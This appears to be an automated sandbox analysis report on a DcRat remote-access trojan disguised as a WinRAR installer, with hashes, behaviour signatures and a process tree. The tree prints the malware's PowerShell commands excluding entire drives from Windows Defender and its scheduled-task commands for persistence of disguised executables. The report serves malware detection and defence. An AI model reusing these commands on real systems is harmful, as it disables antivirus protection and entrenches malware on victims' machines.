Analysis

  • max time kernel
    120s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    07-12-2024 21:37

General

  • Target

    7eca6fa06f08fcb6dc76333b8dca047e4b4603de9cd85cd84e93516fecc0fc89.exe

  • Size

    1.9MB

  • MD5

    0ff4c4cd478f98ae17c254e75688d8c8

  • SHA1

    33732dcae2c41811e780e75e8943b5cc794237eb

  • SHA256

    7eca6fa06f08fcb6dc76333b8dca047e4b4603de9cd85cd84e93516fecc0fc89

  • SHA512

    36e4fe1128e060c6add46c73d0242b1e425d073dc8ac7f373a7dcb275292e4804028270ac25246a8f145cea3e9253b0cbc46be3585a162bcc2411f146577563a

  • SSDEEP

    49152:OB8cbBE21MiimB0IJRzISewyxLE2Zu5nUcAdhE:QN+w0aRkhQZ3AdhE

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\7eca6fa06f08fcb6dc76333b8dca047e4b4603de9cd85cd84e93516fecc0fc89.exe
    "C:\Users\Admin\AppData\Local\Temp\7eca6fa06f08fcb6dc76333b8dca047e4b4603de9cd85cd84e93516fecc0fc89.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\nsyv1xzYu8VmbCzcG862c9WsvpRLyz7as0bRq7W1Tn2IOKgyOUASya2W1wA.vbe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\uo5q9MISAlMxXE7QNA1x3M7bBFAcJOtmOsD1tooxlC0BMSBA7z5lsvUd.bat" "
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2052
        • C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\WinRAR.exe
          "C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815/downloads/winrar-x64-701ru/WinRAR.exe"
          4⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1780
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2208
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2148
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2160
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:696
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1320
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:952
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2628
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1264
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2204
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1624
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1696
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\lsass.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1120
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\Idle.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1956
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\lsass.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1752
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Uninstall Information\spoolsv.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2464
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\f6a14ac2-8725-11ef-a9ab-dab21757c799\cmd.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:984
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\WinRAR.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:848
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ykpc9SkVMY.bat"
            5⤵
              PID:868
              • C:\Windows\system32\chcp.com
                chcp 65001
                6⤵
                  PID:2916
                • C:\Windows\system32\w32tm.exe
                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                  6⤵
                    PID:3064
                  • C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\WinRAR.exe
                    "C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\WinRAR.exe"
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2916
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\lsass.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2688
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2752
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2296
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Recent\Idle.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1612
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Default\Recent\Idle.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2928
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Recent\Idle.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2336
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\lsass.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:304
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\MSOCache\All Users\lsass.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1572
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\lsass.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2936
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Uninstall Information\spoolsv.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2764
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\Uninstall Information\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1492
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Uninstall Information\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2044
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Recovery\f6a14ac2-8725-11ef-a9ab-dab21757c799\cmd.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2480
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\f6a14ac2-8725-11ef-a9ab-dab21757c799\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:776
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\Recovery\f6a14ac2-8725-11ef-a9ab-dab21757c799\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2116
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WinRARW" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\WinRAR.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1608
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WinRAR" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\WinRAR.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2384
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WinRARW" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\WinRAR.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2060

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\nsyv1xzYu8VmbCzcG862c9WsvpRLyz7as0bRq7W1Tn2IOKgyOUASya2W1wA.vbe

          Filesize

          291B

          MD5

          e38ee1ac82a0f98f97f2d0f65c43f07c

          SHA1

          826e06d85af422da26e3baac2b8370d762b13de5

          SHA256

          b492062f1785a2205acc1de649539bd3db3e328eab63a9457d18e54e2cca6c20

          SHA512

          02f52a592eba58be3911b4a220b00d6be70b08bb209e9f9d1f79e841abd1d5dee0ec8c784232100002c6fe26e41cb83b2881cf8c934de5bc2b80a87bf682b542

        • C:\Users\Admin\AppData\Local\Temp\chrome_BITS_6020_731137815\downloads\winrar-x64-701ru\uo5q9MISAlMxXE7QNA1x3M7bBFAcJOtmOsD1tooxlC0BMSBA7z5lsvUd.bat

          Filesize

          115B

          MD5

          a3481864c868c617f8cf22bc2ea205b1

          SHA1

          3bc448934cf9c65607ca095c43fff6185847fe6f

          SHA256

          adda8c60ddbc883929dc8b08371940c5601993cea525d4f5f3e22ded9cf42304

          SHA512

          a5ed9fadad223a03ba756c3798d74dcc1d2e67572dcf22717137d48de4661eea102327e8346b3518a943bd43a0df1857b95143028478ff8974b7236666ca8ef1

        • C:\Users\Admin\AppData\Local\Temp\ykpc9SkVMY.bat

          Filesize

          274B

          MD5

          dbf1ed099b515bebeefbac2e94c083b1

          SHA1

          46f627a2428704acd4ed60dcd0db979e60c795f9

          SHA256

          ed1c26d00fe238822e38a3526287377f8bcc7e9ae0a296b3e43534236752e7f3

          SHA512

          d2c08ee0cf260703740447a34fda69b160f626cc999aec35e8e149d228f4d88158edd64ed0046ddfcaf638e99b9b534abdf2f0abb85dfb1a1355fb3d28e41911

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TK2R13OWBGFP63MSF6UO.temp

          Filesize

          7KB

          MD5

          caf4d33138646b3737eb3b033d0c8af7

          SHA1

          ffcda092d07da5423d80d183c407294e2a45e5e1

          SHA256

          fbc3148ade56b42f5968d3628a36a460e1dd1ab7492ed3c08dfbae52784bdb63

          SHA512

          30e9bbefd8f340b6de8a2e2be8b07ce04624c4f48155b3b6db0430797c86e0583b0d2d4a8c213edbf782315200803bf4b9151e4bbb5333053ff329e06b80bd92

        • memory/1320-101-0x000000001B700000-0x000000001B9E2000-memory.dmp

          Filesize

          2.9MB

        • memory/1624-136-0x0000000001E10000-0x0000000001E18000-memory.dmp

          Filesize

          32KB

        • memory/1780-17-0x0000000000440000-0x000000000045C000-memory.dmp

          Filesize

          112KB

        • memory/1780-23-0x0000000000220000-0x000000000022C000-memory.dmp

          Filesize

          48KB

        • memory/1780-25-0x0000000000230000-0x000000000023E000-memory.dmp

          Filesize

          56KB

        • memory/1780-27-0x0000000000720000-0x0000000000728000-memory.dmp

          Filesize

          32KB

        • memory/1780-29-0x0000000000840000-0x000000000084C000-memory.dmp

          Filesize

          48KB

        • memory/1780-21-0x0000000000680000-0x0000000000692000-memory.dmp

          Filesize

          72KB

        • memory/1780-19-0x0000000000460000-0x0000000000478000-memory.dmp

          Filesize

          96KB

        • memory/1780-15-0x0000000000210000-0x000000000021E000-memory.dmp

          Filesize

          56KB

        • memory/1780-13-0x0000000000240000-0x0000000000440000-memory.dmp

          Filesize

          2.0MB

        • memory/2916-138-0x00000000010B0000-0x00000000012B0000-memory.dmp

          Filesize

          2.0MB